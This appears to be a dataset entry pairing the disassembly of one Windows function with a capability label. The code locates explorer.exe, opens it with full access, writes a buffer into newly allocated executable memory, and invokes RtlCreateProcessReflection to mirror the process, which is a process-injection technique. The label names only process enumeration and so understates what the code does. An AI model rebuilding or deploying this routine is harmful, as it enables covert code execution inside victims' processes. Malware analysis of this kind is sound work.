Function at 0x140001520
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rbp + 0x200], rax
lea rdx, [rbp + 0x1f0]
mov dword [rbp + 0x1f8], 0x67000062
lea rcx, [rbp + 0x1f8]
mov dword [rbp + 0x1fc], 0x67000062
mov dword [rbp + 0x1f0], 0x9090050f
mov dword [rbp + 0x1f4], 0xcccc90c3
call fcn.1400012a0
xor esi, esi
xor edx, edx
mov edi, esi
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001604
lea rdx, [rbp - 0x50]
mov dword [rbp - 0x50], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
mov rcx, rbx
test eax, eax
je 0x1400015fe
lea rdx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x1400015fb
nop dword [rax]
lea rdx, [rbp - 0x24]
lea rcx, str.explorer.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1400015f8
lea rdx, [rbp - 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400015d0
jmp 0x1400015fb
mov edi, dword [rbp - 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
mov eax, edi
lea rcx, str.ntdll.dll
mov qword [rsp + 0x40], rax
movdqu xmmword [rbp - 0x70], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rbp - 0x60], 0xd43
mov dword [rsp + 0x70], 0x30
mov qword [rsp + 0x78], rsi
mov dword [rbp - 0x78], esi
mov qword [rbp - 0x80], rsi
mov qword [rsp + 0x48], rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea r9, [rsp + 0x40]
mov edx, 0x1fffff
lea r8, [rsp + 0x70]
mov rbx, rax
lea rcx, [rsp + 0x38]
call fcn.140001a68
mov rcx, qword [rsp + 0x38]
test rcx, rcx
jne 0x140001692
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Failed_to_open_process
lea rcx, str._s___u__n
call fcn.140001240
mov eax, 1
jmp 0x140001777
mov dword [rsp + 0x28], 0x40
lea r9, [rbp - 0x60]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x30]
call fcn.140001a77
mov r9, qword [rbp - 0x60]
lea r8, str._UWH
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x20], rsi
call fcn.140001a86
lea rdx, str.RtlCreateProcessReflection
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x1400016f1
mov eax, 0xffffffff
jmp 0x140001777
mov r8, qword [rsp + 0x30]
lea rcx, [rsp + 0x50]
xorps xmm0, xmm0
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x38]
xor r9d, r9d
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x20], rsi
movups xmmword [rsp + 0x60], xmm0
lea edx, [r9 + 6]
call rax
mov edi, eax
test eax, eax
jne 0x14000173f
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Succesfully_Mirrored_to_new_PID:
call fcn.140001810
mov edx, dword [rsp + 0x60]
jmp 0x14000175c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____Error_Mirroring:_ERROR
mov ebx, eax
call fcn.140001810
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400019e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, edi
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140001ab0
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret